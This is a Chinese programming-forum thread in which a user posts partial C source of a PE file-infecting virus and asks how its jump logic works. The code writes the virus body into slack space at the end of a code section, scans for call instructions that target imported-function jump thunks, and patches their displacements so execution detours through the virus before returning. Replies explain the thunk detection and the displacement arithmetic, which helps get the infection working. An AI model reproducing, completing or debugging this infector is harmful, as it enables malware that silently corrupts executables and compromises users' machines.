一段病毒代码jmp 跳转问题

chenzhichao2008 2016-02-02 02:24:00

下面是一个病毒的源代码,主要思想是:
搜索宿主call指令,转向病毒体,病毒体运行后再jmp到原来地址
病毒体在代码节尾部空隙中,


//病毒体
thunkcode
//病毒入口
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;

vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;

pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping) ;

//:::搜索call指令(0xe8)
for (i=0;i<vir_len;i++)
{
if (pSearch[i]==0xe8)
{
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;//这句似乎有错误,这句看不懂
//dwJmpData存放的为原来的地址,也就是病毒体运行后要jmp的地址
//dwJmpData这个值应该怎么求?

if ((*dwJmpAddr&0xffff)==0x25ff)//这句是什么意思
{
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
...全文
246 13 打赏 收藏 转发到动态 举报
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
chenzhichao2008 2016-02-19
  • 打赏
  • 举报
回复
引用 12 楼 DelphiGuy 的回复:
它的相关数据指针加了(DWORD)pMapping应该就是直接改了文件映射中的内容。
嗯,我再试试!
chenzhichao2008 2016-02-17
  • 打赏
  • 举报
回复
DWORD *p = xx xx xx xx; DWORD old = *p; *p = pGapEntry; //这个只是改变内存的值,最后UnmapViewOfFile,不知道能不能改到pe文件的值,谁知p指向的内容是不是在file view 里面? 病毒代码最后: *p = old; jmp dword ptr [p] 你的意思应该是这样吧?
  • 打赏
  • 举报
回复
它的相关数据指针加了(DWORD)pMapping应该就是直接改了文件映射中的内容。
chenzhichao2008 2016-02-17
  • 打赏
  • 举报
回复
引用 9 楼 DelphiGuy 的回复:
这个dwJmpData不用赋值,它就是保存FF 25 xx xx xx xx (jmp dword ptr [xxxxxxxx])实际转移到的地址(注意不是xx xx xx xx这个地址,而是xx xx xx xx这个地址里的内容),然后病毒会把xx xx xx xx这个指针改成指向自己的代码,在自己的代码执行之后再转移到dwJmpData指向的位置(jmp dword ptr [dwJmpData]之类的指令)。
DWORD *p = xx xx xx xx; DWORD old = *p; *p = pGapEntry; //这个只是改变内存的值,最后UnmapViewOfFile,不知道能不能改到pe文件的值,p指向的内容是不是在file view 里面? 病毒代码最后: *p = old; jmp dword ptr [p] 你的意思应该是这样吧?
chenzhichao2008 2016-02-16
  • 打赏
  • 举报
回复
引用 5 楼 DelphiGuy 的回复:
[quote=引用 2 楼 chenzhichao2008 的回复:] if ((*dwJmpAddr&0xffff)==0x25ff) 这句是不是说明,dwJmpAddr必须指向一条jmp指令,这个条件有点苛刻,要满足call又要满足jmp
就是检测call指令的目标地址是否是一条间接转移指令,它做这个检测的目的就是要判断这个调用是否是对从DLL引入的函数的调用(比如对系统API的调用)。因为很多编译器(早期版本的VC++、MASM、Borland C++等等)对引入的DLL函数的调用会生成这种形式的代码,一般叫jump thunks,目的之一是减少重定位项数提高加载速度,如果直接生成对目标地址的call,每个call都要重定位一次,这样做可以每个函数只有一个重定位项,不管调用多少次;另外调试器可以根据这个特征列出被调用函数的名字(不管有没有调试信息)。不过较新版本的VC++编译器都不再生成这条jmp指令,而是call dword ptr [xxx]这种形式。 [/quote] 这里的 dwJmpData 正确应该怎么付值?
chenzhichao2008 2016-02-16
  • 打赏
  • 举报
回复
谢谢,向你学习了很多知识,不知道怎么联系你
  • 打赏
  • 举报
回复
这个dwJmpData不用赋值,它就是保存FF 25 xx xx xx xx (jmp dword ptr [xxxxxxxx])实际转移到的地址(注意不是xx xx xx xx这个地址,而是xx xx xx xx这个地址里的内容),然后病毒会把xx xx xx xx这个指针改成指向自己的代码,在自己的代码执行之后再转移到dwJmpData指向的位置(jmp dword ptr [dwJmpData]之类的指令)。
  • 打赏
  • 举报
回复
引用 3 楼 chenzhichao2008 的回复:
更正一下: 为什么不是:dwCodeDistance =(DWORD)pGapEntry - ( (DWORD)dwCallNextAddr - 5 ) ;
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;这个就是计算要修改call指令的相对转移距离呀,就是目标地址和call下一条指令之间的距离。
  • 打赏
  • 举报
回复
引用 2 楼 chenzhichao2008 的回复:
if ((*dwJmpAddr&0xffff)==0x25ff) 这句是不是说明,dwJmpAddr必须指向一条jmp指令,这个条件有点苛刻,要满足call又要满足jmp
就是检测call指令的目标地址是否是一条间接转移指令,它做这个检测的目的就是要判断这个调用是否是对从DLL引入的函数的调用(比如对系统API的调用)。因为很多编译器(早期版本的VC++、MASM、Borland C++等等)对引入的DLL函数的调用会生成这种形式的代码,一般叫jump thunks,目的之一是减少重定位项数提高加载速度,如果直接生成对目标地址的call,每个call都要重定位一次,这样做可以每个函数只有一个重定位项,不管调用多少次;另外调试器可以根据这个特征列出被调用函数的名字(不管有没有调试信息)。不过较新版本的VC++编译器都不再生成这条jmp指令,而是call dword ptr [xxx]这种形式。
chenzhichao2008 2016-02-02
  • 打赏
  • 举报
回复
是不是这个图更准确一点?
chenzhichao2008 2016-02-02
  • 打赏
  • 举报
回复
更正一下: 为什么不是:dwCodeDistance =(DWORD)pGapEntry - ( (DWORD)dwCallNextAddr - 5 ) ;
chenzhichao2008 2016-02-02
  • 打赏
  • 举报
回复
引用 1 楼 DelphiGuy 的回复:
if ((*dwJmpAddr&0xffff)==0x25ff)//这句是什么意思 FF 25 xx xx xx xx 就是jmp dword ptr [xxxxxxxx],间接转移指令,[xxxxxxxx]这个地址是一个指针,指向的就是目标地址 前一句dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;和这个是一回事,dwJmpAddr指向的是一条跳转指令,加两字节就是转移地址的指针。
if ((*dwJmpAddr&0xffff)==0x25ff) 这句是不是说明,dwJmpAddr必须指向一条jmp指令,这个条件有点苛刻,要满足call又要满足jmp 另外: dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;//感觉是下一条指令地址到病毒入口的距离啊 为什么不是:dwCodeDistance =(DWORD)pGapEntry - (DWORD)dwCallNextAddr - 5 ;
  • 打赏
  • 举报
回复
if ((*dwJmpAddr&0xffff)==0x25ff)//这句是什么意思 FF 25 xx xx xx xx 就是jmp dword ptr [xxxxxxxx],间接转移指令,[xxxxxxxx]这个地址是一个指针,指向的就是目标地址 前一句dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;和这个是一回事,dwJmpAddr指向的是一条跳转指令,加两字节就是转移地址的指针。

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧